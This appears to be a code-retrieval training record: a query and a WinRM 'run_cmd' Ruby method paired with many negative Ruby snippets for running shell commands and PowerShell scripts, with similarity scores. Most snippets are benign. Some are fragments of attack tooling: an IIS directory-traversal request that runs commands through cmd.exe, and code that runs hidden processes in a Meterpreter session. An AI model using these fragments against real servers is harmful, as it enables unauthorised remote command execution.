"0.46834838",
"0.46780136",
"0.46770203",
"0.46669284",
"0.46652588",
"0.4662749",
"0.46507725"
] |
0.6636245
|
0
|
Runs a CMD command.
|
def run_cmd(command, arguments = [], &block)
reset if command_count_exceeded?
ensure_open_shell!
@command_count += 1
result = nil
service.run_command(shell, command, arguments) do |command_id|
result = service.get_command_output(shell, command_id, &block)
end
result
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def run_cmd(cmd)\n\t\tconsole.run_single(cmd)\n\tend",
"def run_cmd(cmd)\n\t\tconsole.run_single(cmd)\n\tend",
"def run(cmd)\n runner.run(cmd, shell, nil)\n end",
"def run_command cmd\n # http://whynotwiki.com/Ruby_/_Process_management#What_happens_to_standard_error_.28stderr.29.3F\n require 'canis/core/util/viewer'\n begin\n res = `#{cmd} 2>&1`\n rescue => ex\n res = ex.to_s\n res << ex.backtrace.join(\"\\n\") \n end\n res.gsub!(\"\\t\",\" \")\n # Earlier close key was ENTER but we need that to execute or fire\n Canis::Viewer.view(res.split(\"\\n\"), :close_key => 'q', :title => \"<q> to close, M-l M-h to scroll\")\n end",
"def cmd(cmd)\n puts cmd\n system cmd\n end",
"def run(cmd)\n log cmd\n system(cmd) or fail \"Command Failed: [#{cmd}]\"\n end",
"def run(cmd)\n log cmd\n system(cmd) or fail \"Command Failed: [#{cmd}]\"\n end",
"def run(cmd)\n puts(cmd)\n system(cmd)\nend",
"def run_command(cmd)\n if config[:simulate]\n puts_and_logs \" - Simulate running \\\"#{cmd}\\\"\"\n return\n end\n if config[:debug]\n if config[:verbose]\n puts_and_logs \" - Running \\\"#{cmd}\\\"\"\n else\n logger.debug \" - Running \\\"#{cmd}\\\"\"\n end\n system cmd\n return\n end\n puts_and_logs \" - Running \\\"#{cmd}\\\"\" if config[:verbose]\n system(cmd + ' > /dev/null 2>&1')\n\n end",
"def run_cmd(cmd)\n\tend",
"def run(cmd)\n puts cmd\n system cmd\nend",
"def run(cmd)\n result = `#{cmd}`\n raise Castanaut::Exceptions::ExternalActionError if $?.exitstatus > 0\n result\n end",
"def run_installer_command(cmd)\n `#{cmd}`\n end",
"def run(cmd)\n shell_out! \"#{jboss_cli} '#{cmd}'\", cli_options\n end",
"def run_command_on(cmd, instance=nil) \n Kernel.system \"#{run_command_on_command(cmd, instance)}\" if instance\n end",
"def run_cmd(cmd)\n puts blue(cmd)\n raise unless system cmd\n end",
"def run( *cmd )\n\t\t\tcmd.flatten!\n\n\t\t\tif cmd.length > 1\n\t\t\t\ttrace( \"Running:\", quotelist(*cmd) )\n\t\t\telse\n\t\t\t\ttrace( \"Running:\", cmd )\n\t\t\tend\n\n\t\t\tif Rake.application.options.dryrun\n\t\t\t\tlog \"(dry run mode)\"\n\t\t\telse\n\t\t\t\tsystem( *cmd )\n\t\t\t\tunless $?.success?\n\t\t\t\t\tfail \"Command failed: [%s]\" % [cmd.join(' ')]\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def execute(cmd)\n @log.info(\"Executing command '#{cmd}'...\")\n Kernel.system(cmd)\n end",
"def run(cmd)\n Open3.popen3(*cmd) do |i, o, e, t|\n i.close\n t.value\n end\n end",
"def run(cmd)\n print \"-> #{cmd}...\"\n system cmd\n print \"ok\\n\"\nend",
"def run_cmd(cmd)\n ret = \"\"\n start = Time.now.to_i\n log_and_stream \"<div class='command'><h4>Running #{cmd}</h4><p class='output'>\"\n time = Benchmark.measure do\n Open3.popen3(cmd) do |inn, out, err|\n output = \"\"\n until out.eof?\n # raise \"Timeout\" if output.empty? && Time.now.to_i - start > 300\n chr = out.read(1)\n output << chr\n ret << chr\n if chr == \"\\n\" || chr == \"\\r\"\n log_and_stream output + \"<br>\"\n output = \"\"\n end\n end\n log_and_stream(output) unless output.empty?\n log_and_stream(\"<span class='stderr'>STDERR: #{err.read}</span><br>\") unless err.eof?\n end\n end\n log_and_stream \"</p>\"\n log_and_stream \"<h5>Time: #{time}</h5></div>\"\n return ret\n end",
"def exec_command(cmd)\n exec(cmd)\n # windows? ? exec(cmd) : fake_exec(cmd)\n end",
"def run_cmd(cmd, debug=false)\n puts \"In #{Dir.pwd} executing: #{cmd}\" if debug\n `#{cmd}`\n end",
"def cmd(cmd)\n puts cmd; system(cmd)\nend",
"def run_cmd(cmd)\n process = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})\n res = \"\"\n while (d = process.channel.read)\n break if d == \"\"\n res << d\n end\n process.channel.close\n process.close\n return res\n end",
"def run_cmd cmd\n info cmd\n status = system(cmd)\n if status\n info(\"Woot! Woot! - command succeeded #{cmd}\")\n else\n error(\"Gahhhh! Bad status from #{cmd}\")\n end\n status\n end",
"def run(cmd)\n cmd = @before_run_block.call(cmd) if @before_run_block\n return false unless cmd\n say \"!txtgrn!> #{cmd}\" unless Runfile.quiet\n system cmd\n @after_run_block.call(cmd) if @after_run_block\n end",
"def execute(cmd)\n send(*cmd)\n end",
"def run_single(cmd)\n # Do nil check for cmd (CTRL+D will cause nil error)\n return unless cmd\n\n arguments = Shellwords.shellwords(cmd)\n method = arguments.shift\n\n # Built-in command\n if commands.key?(method)\n return run_builtin_cmd(method, arguments)\n end\n\n # User input is not a built-in command, write to socket directly\n shell_write(cmd + \"\\n\")\n end",
"def exec(cmd)\n puts g(cmd)\n\n Process.exec(cmd)\n end",
"def run(cmd)\n Dir.chdir @target\n\n log \"Running: #{cmd}\"\n `#{cmd}`\n # if $?.exitstatus != 0\n # raise IOError, %{Error executing command: \"#{cmd}\"}\n # end\n\n Dir.chdir @starting_dir\n end",
"def doCmd(cmd)\n puts cmd;\n puts `#{cmd}`;\nend",
"def shell(cmd)\n `#{cmd}`\n end",
"def shell(cmd)\n `#{cmd}`\n end",
"def cmd(*args) self.class.cmd(*args) end",
"def execute(cmd)\n Util.execute(cmd)\n end",
"def exe(cmd)\n puts \"executing: #{cmd}\"\n out = `#{cmd}`\n puts out\n out\n end",
"def run(cmd, capture_stderr=true)\n notice \"Running: \" + cmd.color(:white)\n cmd += \" 2>&1\" if capture_stderr\n\n out = \"\"\n IO.popen(cmd) do |f|\n while l = f.gets\n out += l\n msg \" \" + l\n end\n end\n\n raise CmdFailedError.new(\"Command '#{cmd}' had exit status #{$?.to_i}\") if $? != 0\n out\n end",
"def run_cmd(cmd)\n print_e(\"Run: #{cmd}\")\n exit_code = system(cmd)\n fail SystemCallError, cmd unless exit_code\n exit_code\n end",
"def run(command, *args)\n send(command, *args)\n end",
"def cmd(cmd)\n puts cmd\n system cmd\nend",
"def cmd(cmd, *args)\n system(\"#{cmd} #{args.join(' ')}\")\nend",
"def run\n raise \"`#{ real_command }' failed\" unless Kernel.system( real_command )\n end",
"def run(cmd)\n output = `#{cmd.gsub(/\\s+/, \" \")} 2>&1`\n\n unless $?.exitstatus == 0\n #Kickvideo::Notifier.deliver_processing_error(@attachment.instance, @attachment, cmd, output)\n raise Kickvideo::ProcessingError, \"Error while running #{cmd} - #{output}\"\n end\n\n output\n end",
"def run\n begin\n IO.popen(@cmd_line).read\n rescue\n @logger.error(\"Failed to execute command on #{@host}\")\n \"\"\n end\n end",
"def run_cmd(cmd,token=true)\n opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token}\n process = session.sys.process.execute(cmd, nil, opts)\n res = \"\"\n while (d = process.channel.read)\n break if d == \"\"\n res << d\n end\n process.channel.close\n process.close\n return res\n end",
"def plain_command cmd, options={}\n system(cmd)\n exitstatus = $?.exitstatus == 0 || $?.exitstatus == 1\n show_output(exitstatus, options)\n exitstatus\n end",
"def exec(cmd)\n puts cmd\n `#{cmd}`\nend",
"def run_command(cmd, *args)\n raise ArgumentError.new('missing required cmd to run') if cmd.nil?\n rd, wr = IO.pipe\n if fork\n wr.close\n if block_given?\n rd.each { |line| yield(line) }\n else\n rd.read\n end\n rd.close\n Process.wait\n else\n rd.close\n $stdout.reopen(wr)\n $stderr.reopen(wr)\n exec cmd, *args\n raise \"exec #{cmd} failed\"\n end\n $? == 0 # return a bool indicating a successful exit\nend",
"def sh(cmd)\n\t# Print the command to stdout.\n\tif(cmd.is_a?(Array))\n\t\tp cmd\n\telse\n\t\tputs cmd\n\tend\n\t# Run it.\n\tsuccess = system(cmd)\n\traise \"Command failed\" unless(success)\nend",
"def run_command(cmd, *args)\n r,w = IO.pipe\n\n pid = fork do\n r.close\n STDIN.close\n STDOUT.reopen(w)\n STDERR.reopen(w)\n\n exec(cmd, *args)\n end\n\n w.close\n output = r.read.force_encoding('binary')\n pid, status = Process::wait2(pid)\n\n [output, status]\n end",
"def run_cmd cmd\n msg { \"{@Darn, you can't run commands yet.\\n\\n#{location.long_appearance}\" }\n end",
"def exec(cmd)\n container.exec(cmd) { |_, chunk| puts \"#{fqdn.purple}: #{chunk}\" }\n end",
"def run!(cmd)\n cmd = @before_run_block.call(cmd) if @before_run_block\n return false unless cmd\n say \"!txtgrn!> #{cmd}\" unless Runfile.quiet\n exec cmd\n end",
"def run_command(command)\n `#{command}`\nend",
"def run_local(cmd)\n system(cmd)\n end",
"def `(cmd) #`\n\t\tRAILS_DEFAULT_LOGGER.debug(\"Running #{cmd}\")\n\t\tKernel.`(cmd) #`\n\tend",
"def run_cmd(input); end",
"def invoke_command(cmd, options={}, &block)\n options = options.dup\n via = options.delete(:via) || :run\n send(via, cmd, options, &block)\n end",
"def run_command(command, quiet=false)\n log_stdout \"Executing command: #{command}\", quiet\n out, _, _ = guestcontrol_exec \"cmd.exe\", \"cmd.exe /c \\\"#{command}\\\"\"\n out\n end",
"def run_cmd(input)\n return self.process(input,false)\n end",
"def command(command, *args)\n @shell.command(command, *args)\n end",
"def execute_command(cmd, options = {})\n if options[:in]\n options[:in].write(:text => \"#{cmd}\")\n else\n active_window.write(:text => \"#{cmd}\")\n end\n end",
"def run_and_output(cmd)\n run(cmd).output\n end",
"def run_command(cmd, args)\n valid_commands = {\n 'I' => [ :integer, :integer ], # I X Y\n 'C' => [], # C\n 'L' => [ :integer, :integer, :character ], # L X Y C\n 'V' => [ :integer, :integer, :integer, :character ], # V X Y1 Y2 C\n 'H' => [ :integer, :integer, :integer, :character ], # H X1 X2 Y C\n 'F' => [ :integer, :integer, :character ], # F X Y C\n 'S' => [], # S\n 'X' => [], # X\n\n 'U' => [], # U\n }\n\n raise \"Invalid command\" unless valid_commands.has_key?(cmd)\n\n valid_params = validate_params(valid_commands[cmd], args)\n\n # Most methods require us to have created a bitmap\n validate_bitmap() if %w( C L V H F S ).include?(cmd)\n\n create_snapshot()\n\n method = \"cmd_#{cmd}\".to_sym\n # p method, valid_params\n self.send(method, *valid_params)\n\n save_snapshot()\n end",
"def execute_command(cmd, opts = {})\r\n\r\n\t\t# Don't try the start command...\r\n\t\t# Using the \"start\" method doesn't seem to make iis very happy :(\r\n\t\treturn [nil,nil] if cmd =~ /^start [a-zA-Z]+\\.exe$/\r\n\r\n\t\tprint_status(\"Executing command: #{cmd}\")\r\n\r\n\t\turi = '/scripts/'\r\n\t\texe = opts[:cgifname]\r\n\t\tif (not exe)\r\n\t\t\turi << dotdotslash\r\n\t\t\turi << dotdotslash\r\n\t\t\turi << 'winnt/system32/cmd.exe'\r\n\t\telse\r\n\t\t\turi << exe\r\n\t\tend\r\n\t\turi << '?/x+/c+'\r\n\t\turi << Rex::Text.uri_encode(cmd)\r\n\r\n\t\tif (datastore['VERBOSE'])\r\n\t\t\tprint_status(\"Attemping to execute: #{uri}\")\r\n\t\tend\r\n\r\n\t\tmini_http_request({\r\n\t\t\t\t'uri' => uri,\r\n\t\t\t\t'method' => 'GET',\r\n\t\t\t}, 20)\r\n\tend",
"def run_cmd(*cmds)\n command(cmds)\n read, write = IO.pipe\n system(*cmds, out: write, err: write).tap{|x| unless x; write.close; p cmds; puts read.read; end}.must_equal true\n write.close\n progress(read.read)\n read.close\n end",
"def cmd(command, *arguments) Command.send(command.to_sym, *arguments) end",
"def run(cmd, *args)\n dispatch(cmd, *args)\n end",
"def runCommand(com) ;\n puts CommandSep ;\n puts \"com: #{com}\" ;\n system(com) ;\n end",
"def run(cmd)\n puts \"\\033[1;37m#{cmd}\\033[0m\"\n result = `#{cmd}`\n abort unless $?.success?\n puts result unless result.empty?\n result\nend",
"def cmd(command)\n\t\tbegin\n\t\t\t`#{command}`\n\t\trescue Exception => e\n\t\t\te.to_s\n\t\tend\n\tend",
"def run command\n # unless command\n # command = \" \\\"#{@args.join(\"\\\" \\\"\")}\\\"\" if args.any?\n # @switches.each{ |opt| command += \" --#{opt.to_s}\" }\n # @options.each { |opt, val| command += \" --#{opt.to_s} \\\"#{val}\\\"\" }\n # end\n return if command.nil? || command.strip.empty?\n command += \" 2>&1\"\n command += \" >/dev/null\" unless @capture || @output\n\n output = `#{self.path} #{command}`.strip\n puts output.gsub(/^/, \" -- \") if @output\n\n self.reset_for_next_command\n output\n end",
"def execute_command(cmd, options = {})\n active_window.do_script(cmd, options)\n end",
"def execute_command(cmd, options = {})\n active_window.do_script(cmd, options)\n end",
"def execute(cmd)\n # clear tube if not in interactive mode\n @tube.clear unless interacting?\n\n @tube.puts(cmd)\n @tube.readuntil(@prompt).strip\n end",
"def run(cmd)\r\n args = cmd.split\r\n Pdm::Runner.new.run args\r\nend",
"def run\n _cmd = built_in_command( options[:args] )\n _cmd ||= options[:command] ? CommandRunner.new(options[:command]) : 0\n if _cmd.class == CommandRunner\n _cmd.run do |item|\n puts \"%s:\\n %s\\n\\n\" % [ item.class, item.desc ] if item.is_a?(UseCase) && ENV['ENVIRONMENT'] != 'test'\n end\n else\n _cmd\n end\n end",
"def run_locally(cmd)\n logger.trace \"executing locally: #{cmd.inspect}\" if logger\n `#{cmd}`\n end",
"def exec!(cmd, *args)\n cmd = Command.new(cmd, args)\n cmd.exec!\n end",
"def run(*command)\n IO.popen(command) { |io| io.read.strip }\n end",
"def run_cmd(cmd, *args)\n output, = Open3.capture2e(cmd, *args)\n\n output\n end",
"def run_inline(cmd, redact: nil)\n put_command(cmd, redact: redact)\n\n # `system`, by design (?!), hides stderr when the command fails.\n if ENV[\"PROJECTRB_USE_SYSTEM\"] == \"true\"\n if not system(*cmd)\n exit $?.exitstatus\n end\n else\n pid = spawn(*cmd)\n Process.wait pid\n if $?.exited?\n if !$?.success?\n exit $?.exitstatus\n end\n else\n error \"Command exited abnormally.\"\n exit 1\n end\n end\n end",
"def run_command(cmd, *args)\n raise ArgumentError.new('missing required cmd to run') if cmd.nil?\n rd, wr = IO.pipe\n if fork\n wr.close\n if block_given?\n rd.each { |line| yield(line) }\n else\n rd.read\n end\n rd.close\n Process.wait\n return $?\n else\n rd.close\n $stdin.close\n $stdout.reopen(wr)\n $stderr.reopen(wr)\n exec cmd, *args\n raise \"exec #{cmd} failed\"\n end\nend",
"def sys cmd\n puts cmd\n system cmd\n raise \"Running '#{cmd}' failed\" if $? != 0\nend",
"def cmd(*args)\n command = Shellwords.join(args)\n out = `#{command}`.strip\n fail!(puts \"command failed: #{command}\", $?.exitstatus) unless $?.success?\n out\nend",
"def execute_custom_command(cmd, *args)\n return output_error(cmd) unless command_is_authorized?(cmd)\n\n args = %w[cd edit].include?(cmd) ? args : protected_args(args)\n send(\"my_#{cmd}\", args)\n end",
"def run_cmd(cmd)\n Chef::Log.info \"executing: #{cmd}\"\n result = Mixlib::ShellOut.new(cmd).run_command.stdout.strip\n return result\nend",
"def run(cmd)\n puts \"#{cmd}\"\n success = system(cmd)\n exit $?.exitstatus unless success\nend",
"def run_command(cmd)\n IO.popen(cmd) do |f|\n while ! f.eof\n puts f.gets\n end\n end\n $?\n end",
"def run(cmd)\n p4.run cmd\n end",
"def command_run(str_opts)\n command :run do |c|\n c.syntax = 'budik run [options]'\n c.summary = @str_run.summary\n c.description = @str_run.description\n command_run_options(c, str_opts)\n c.action { |_args, opts| Command.new(:run, opts) }\n end\n end",
"def execute!\n if Mcir::Core.instance.dryrun?\n Mcir::Core.instance.debug(\"CMD: \".purple << \"#{self.to_s.gsub(\"\\r\", \"\")}\")\n \"skipped execution due to dryrun\"\n else\n case @mode\n when :exec then exec(self.to_s)\n when :open then IO.new(self).open3\n when :capture then IO.new(self).capture3\n when :backticks then IO.new(self).backtick\n end\n end\n end",
"def execute_cmd(cmd, formatter)\n IO.popen(cmd, 'r+') do |s|\n formatter.format(s)\n s.close_write\n end\n end",
"def execute_command(command)\n system(command)\n end",
"def run_package_command(cmd)\n if cmd.is_a?(Array)\n command = cmd[0]\n cmd_options.merge!(cmd[1])\n else\n command = cmd\n end\n\n shellout!(command, cwd: config.package_dir)\n end",
"def run_command(cmd)\n IO.popen(cmd) do |stdout|\n stdout.reject(&:empty?)\n end.unshift($CHILD_STATUS.exitstatus.zero?)\nend",
"def run_cmd(command, prompt=@prompt)\n msg \"run command #{command}\"\n @pipe.write(\"#{command}\\r\")\n response = @pipe.readline(prompt)\n @pipe.close\n return response\n end",
"def run_command(cmd, opts = {})\n command = prepare_command(cmd, opts)\n\n unless command.interactive?\n raise NotImplementedError,\n \"Running interactively is not supported with this process launcher.\"\n end\n\n start_command(command)\n\n block_given? ? yield(command) : command\n end",
"def run(cmd)\n #logger.trace \"executing locally: #{cmd.inspect}\" if logger\n run_locally cmd\n # puts `#{cmd}`\nend",
"def run_cmd(command, arguments = [], &block)\n shell_id = open_shell\n command_id = run_command(shell_id, command, arguments)\n command_output = get_command_output(shell_id, command_id, &block)\n cleanup_command(shell_id, command_id)\n close_shell(shell_id)\n command_output\n end"
] |
[
"0.79618555",
"0.79618555",
"0.782065",
"0.7676827",
"0.7478485",
"0.73601484",
"0.73601484",
"0.73148143",
"0.72980636",
"0.7225652",
"0.71514225",
"0.71462566",
"0.71405846",
"0.7139157",
"0.7129951",
"0.7126808",
"0.71130794",
"0.7101988",
"0.70852697",
"0.7064583",
"0.7056313",
"0.70335495",
"0.7026086",
"0.7023922",
"0.7021734",
"0.7006308",
"0.69719505",
"0.69203013",
"0.69101185",
"0.6879745",
"0.68548864",
"0.684949",
"0.6824358",
"0.6824358",
"0.68229085",
"0.6816503",
"0.68047655",
"0.6803006",
"0.6786812",
"0.6784742",
"0.6784094",
"0.6759207",
"0.6757623",
"0.6745661",
"0.6732001",
"0.6710162",
"0.6707848",
"0.6702269",
"0.6643546",
"0.6640251",
"0.663703",
"0.6633203",
"0.66318005",
"0.6627259",
"0.6620921",
"0.662054",
"0.66203195",
"0.6616319",
"0.6616291",
"0.6616091",
"0.6584952",
"0.6584935",
"0.6581695",
"0.6579006",
"0.65648395",
"0.6560643",
"0.6543069",
"0.65382063",
"0.6530389",
"0.6524283",
"0.65199184",
"0.6512798",
"0.6512381",
"0.65104663",
"0.65104663",
"0.6492162",
"0.64882433",
"0.6479135",
"0.6475991",
"0.6475977",
"0.6474802",
"0.6462877",
"0.6461108",
"0.6460366",
"0.6459741",
"0.64495873",
"0.6446453",
"0.64340305",
"0.6425613",
"0.64070255",
"0.63859355",
"0.6382384",
"0.6380289",
"0.6373369",
"0.63627946",
"0.6357336",
"0.63461006",
"0.63417614",
"0.63323224",
"0.63316894",
"0.63312644"
] |
0.0
|
-1
|
Run a Powershell script that resides on the local box.
|
def run_powershell_script(script_file, &block)
# this code looks overly compact in an attempt to limit local
# variable assignments that may contain large strings and
# consequently bloat the Ruby VM
run_cmd(
"powershell",
[
"-encodedCommand",
WinRM::PowershellScript.new(
script_file.is_a?(IO) ? script_file.read : script_file
).encoded
],
&block
)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def run\n script_name = shift_argument\n unless script_name\n error(\"Usage: mortar local:run SCRIPT\\nMust specify SCRIPT.\")\n end\n validate_arguments!\n\n # cd into the project root\n project_root = options[:project_root] ||= Dir.getwd\n unless File.directory?(project_root)\n error(\"No such directory #{project_root}\")\n end\n Dir.chdir(project_root)\n script = validate_script!(script_name)\n params = config_parameters.concat(pig_parameters)\n\n ctrl = Mortar::Local::Controller.new\n ctrl.run(script, pig_version, params)\n end",
"def run_script(path, script, *cli_params)\n on primary :backend do |host|\n within path do\n unless test \" [ -e #{script} ] \"\n error I18n.t('resource.not_exists_on_host', resource: script, host: host.hostname, scope: :dkdeploy)\n next\n end\n\n with fetch(:typo3_environment_cli) do\n execute :php, script, *cli_params\n end\n end\n end\n end",
"def run_script! name, options=nil, &block\n options ||= {}\n\n script_path = File.join self.scripts_path, name.to_s\n @shell.call script_path, options, &block\n end",
"def execute_script(file)\n abspath = ::File.expand_path(file,@pwd.full_path)\n execute(Rush::File.new(abspath).contents)\n end",
"def run_script(friendly_name, server)\n audit = server.run_executable(@scripts_to_run[friendly_name])\n audit.wait_for_completed\n end",
"def run\n call(\"/tmp/sonic/bash_scripts/docker-run.sh\")\n end",
"def run_script_stage2(script)\n eval(IO.read(script))\n end",
"def run_powershell_script(script_file, &block)\r\n # if an IO object is passed read it..otherwise assume the contents of the file were passed\r\n script_text = script_file.respond_to?(:read) ? script_file.read : script_file\r\n script = WinRM::PowershellScript.new(script_text)\r\n run_cmd(\"powershell -encodedCommand #{script.encoded()}\", &block)\r\n end",
"def run_powershell_script(script_file, &block)\n # this code looks overly compact in an attempt to limit local\n # variable assignments that may contain large strings and\n # consequently bloat the Ruby VM\n run_cmd(\n 'powershell',\n [\n '-encodedCommand',\n ::WinRM::PowershellScript.new(\n script_file.is_a?(IO) ? script_file.read : script_file\n ).encoded\n ],\n &block\n )\n end",
"def run_script\n Script.new(instructions, storage, self).execute\n end",
"def run_script(script, opts = {}, &block)\n run_script_on(default, script, opts, &block)\n end",
"def execute_script filename\n # script_path = '~/.config/cetus/scripts'\n script_path = File.join(CONFIG_PATH, 'cetus', 'scripts')\n script = File.expand_path(File.join(script_path, filename))\n unless File.exist? script\n perror \"Unable to find #{filename}: #{script}\"\n return\n end\n\n scripts script\nend",
"def start_script\n self.class.start_script play_root\n end",
"def run_script(scriptname, params)\n body = request(:post, \"script/#{scriptname}/run\", 'text/plain', params)\n JSON.parse(body)['result']\n end",
"def run_script(friendly_name, server, options = nil)\n run_script_on_set(friendly_name, server, true, options)\n end",
"def run_script(pig_script, pig_version, pig_parameters)\n run_pig_command(\" -f #{pig_script.path}\", pig_version, pig_parameters, true)\n end",
"def execute script\n native.execute_script script\n end",
"def run_script(script)\n Dir.mktmpdir do |temp_dir_path|\n script_file_path = File.join(temp_dir_path, \"rs_diskpart_script.txt\")\n File.open(script_file_path, \"w\") { |f| f.puts(script.strip) }\n executable_path = \"diskpart.exe\"\n executable_arguments = [\"/s\", File.normalize_path(script_file_path)]\n shell = RightScale::Platform.shell\n executable_path, executable_arguments = shell.format_right_run_path(executable_path, executable_arguments)\n command = shell.format_executable_command(executable_path, executable_arguments)\n output_text = `#{command}`\n return $?.exitstatus, output_text\n end\n end",
"def cmd_run(*args)\n\t\tif args.length == 0\n\t\t\tprint_line(\n\t\t\t\t\"Usage: run <script> [arguments]\\n\\n\" +\n\t\t\t\t\"Executes a ruby script in the context of the meterpreter session.\")\n\t\t\treturn true\n\t\tend\n\n\t\t# Get the script name\n\t\tbegin\n\t\t\t# the rest of the arguments get passed in through the binding\n\t\t\tclient.execute_script(args.shift, args)\n\t\trescue\n\t\t\tprint_error(\"Error in script: #{$!.class} #{$!}\")\n\t\t\telog(\"Error in script: #{$!.class} #{$!}\")\n\t\t\tdlog(\"Callstack: #{$@.join(\"\\n\")}\")\n\t\tend\n\tend",
"def run_local_story(filename, options={})\n run File.join(File.dirname(__FILE__), filename), options\nend",
"def launch_script(friendly_name, server, options = nil)\n raise \"No script registered with friendly_name #{friendly_name} for server #{server.inspect}\" unless script_to_run?(friendly_name, server)\n obj_behavior(server, :run_executable, @scripts_to_run[resource_id(server.server_template_href)][friendly_name], options)\n end",
"def cmd_run(*args)\n if args.length.zero?\n cmd_run_help\n return true\n end\n\n # Get the script name\n begin\n script_name = args.shift\n # First try it as a Post module if we have access to the Metasploit\n # Framework instance. If we don't, or if no such module exists,\n # fall back to using the scripting interface.\n if msf_loaded? && mod = client.framework.modules.create(script_name)\n original_mod = mod\n reloaded_mod = client.framework.modules.reload_module(original_mod)\n\n unless reloaded_mod\n error = client.framework.modules.module_load_error_by_path[original_mod.file_path]\n print_error(\"Failed to reload module: #{error}\")\n\n return\n end\n\n opts = (args + [ \"SESSION=#{client.sid}\" ]).join(',')\n reloaded_mod.run_simple(\n #'RunAsJob' => true,\n 'LocalInput' => shell.input,\n 'LocalOutput' => shell.output,\n 'OptionStr' => opts\n )\n else\n # the rest of the arguments get passed in through the binding\n client.execute_script(script_name, args)\n end\n rescue => e\n print_error(\"Error in script: #{script_name}\")\n elog(\"Error in script: #{script_name}\", error: e)\n end\n end",
"def run_local(cmd)\n system(cmd)\n end",
"def run_script(container_file)\n # Ensure the permissions allow the script to run successfully\n container_file.current_user ||= container_file.user if container_file\n self.container_file = container_file\n\n cmd = []\n cmd << environment if environment\n cmd << script_path\n cmd += arg_substitutions if args\n\n self.success = do_cmd(cmd)\n\n unless success\n Rails.logger.warn \"run_script failed: #{cmd}\"\n raise FphsException, 'run_script failed' unless fail_silently\n end\n\n handle_results\n\n success\n end",
"def run_script(script)\n @dlogger.debug \"Processing script #{script} for file #{@file}\"\n @contents = ''\n begin\n run_script_stage2(script)\n rescue Exception => e\n if e.kind_of?(SystemExit)\n # The user might call exit within a script. We want the scripts\n # to act as much like a real script as possible, so ignore those.\n else\n # Help the user figure out where the exception occurred, otherwise they\n # just get told it happened here in eval, which isn't very helpful.\n raise Etch.wrap_exception(e, \"Exception while processing script #{script} for file #{@file}:\\n\" + e.message)\n end\n ensure\n restore_globals\n end\n @contents\n end",
"def script_file\n staged_root.join(\"script.sh\")\n end",
"def run_powershell_script(script_file, &block)\n # if an IO object is passed read it..otherwise assume the contents of the file were passed\n script = script_file.kind_of?(IO) ? script_file.read : script_file\n script = script.encode('UTF-16LE', 'UTF-8')\n script = Base64.strict_encode64(script)\n shell_id = open_shell\n command_id = run_command(shell_id, \"powershell -encodedCommand #{script}\")\n command_output = get_command_output(shell_id, command_id, &block)\n cleanup_command(shell_id, command_id)\n close_shell(shell_id)\n command_output\n end",
"def run_locally(cmd)\n logger.trace \"executing locally: #{cmd.inspect}\" if logger\n `#{cmd}`\n end",
"def script(script_file)\n load script_file\n\n self\n end",
"def RunScript(script, action)\n return true if script == \"\"\n Builtins.y2milestone(\"rc%1 %2\", script, action)\n # Workaround for bug #61055:\n cmd = Builtins.sformat(\"cd /; /etc/init.d/%1 %2\", script, action)\n SCR.Execute(path(\".target.bash\"), cmd) == 0\n end",
"def run(pig_script, pig_version, pig_parameters)\n require_aws_keys\n install_and_configure(pig_version)\n pig = Mortar::Local::Pig.new()\n pig.run_script(pig_script, pig_version, pig_parameters)\n end",
"def with_script_file\n ext = nil\n script = nil\n\n if config.remote?\n download_path = @machine.env.tmp_path.join(\n \"#{@machine.id}-remote-script\")\n download_path.delete if download_path.file?\n\n begin\n Vagrant::Util::Downloader.new(\n config.path,\n download_path,\n md5: config.md5,\n sha1: config.sha1\n ).download!\n ext = File.extname(config.path)\n script = download_path.read\n ensure\n download_path.delete if download_path.file?\n end\n elsif config.path\n # Just yield the path to that file...\n root_path = @machine.env.root_path\n ext = File.extname(config.path)\n script = Pathname.new(config.path).expand_path(root_path).read\n else\n # The script is just the inline code...\n ext = \".ps1\"\n script = config.inline\n end\n\n # Replace Windows line endings with Unix ones unless binary file\n # or we're running on Windows.\n if !config.binary && @machine.config.vm.communicator != :winrm\n begin\n script = script.gsub(/\\r\\n?$/, \"\\n\")\n rescue ArgumentError\n script = script.force_encoding(\"ASCII-8BIT\").gsub(/\\r\\n?$/, \"\\n\")\n end\n end\n\n # Otherwise we have an inline script, we need to Tempfile it,\n # and handle it specially...\n file = Tempfile.new(['vagrant-shell', ext])\n\n # Unless you set binmode, on a Windows host the shell script will\n # have CRLF line endings instead of LF line endings, causing havoc\n # when the guest executes it. This fixes [GH-1181].\n file.binmode\n\n begin\n file.write(script)\n file.fsync\n file.close\n yield file.path\n ensure\n file.close\n file.unlink\n end\n end",
"def upload_fb_script(args)\n # @setup_script is defined in 10_load_data.rake. This is the local script file.\n nim_master = args[:nim_master]\n nim_remote_user = args[:nim_remote_user]\n nim_local_user = args[:nim_local_user]\n STDOUT.puts \"# Uploading first boot script, #{@setup_script}...\"\n sh \"sudo su - #{nim_local_user} -c \\\" scp -o StrictHostKeyChecking=no #{@setup_script} \\\n #{nim_remote_user}@#{nim_master}:#{@remote_fb_script_path}/#{File.basename(@setup_script)}\\\"\"\nend",
"def run_script(script, *args)\n output = Better::Tempfile.new('output')\n begin\n output.close\n \n ruby = File.join(Config::CONFIG['bindir'], Config::CONFIG['ruby_install_name']) + Config::CONFIG['EXEEXT']\n command = [ruby, File.join(File.dirname(__FILE__), script), output.path, *args]\n \n if system(*command)\n File.read(output.path)\n else\n raise \"Command failed: #{command.join(' ')}\"\n end\n ensure\n output.close if !output.closed?\n output.unlink\n end\nend",
"def exec_script_on(script_path_str,arguments_str,current_path_str)\n fname_str = File.basename(script_path_str)\n rempte_path_str = \"/tmp/\" + fname_str\n push_a_file(script_path_str,rempte_path_str)\n exec_on!(\"sh #{rempte_path_str} \" + arguments_str,current_path_str)\n end",
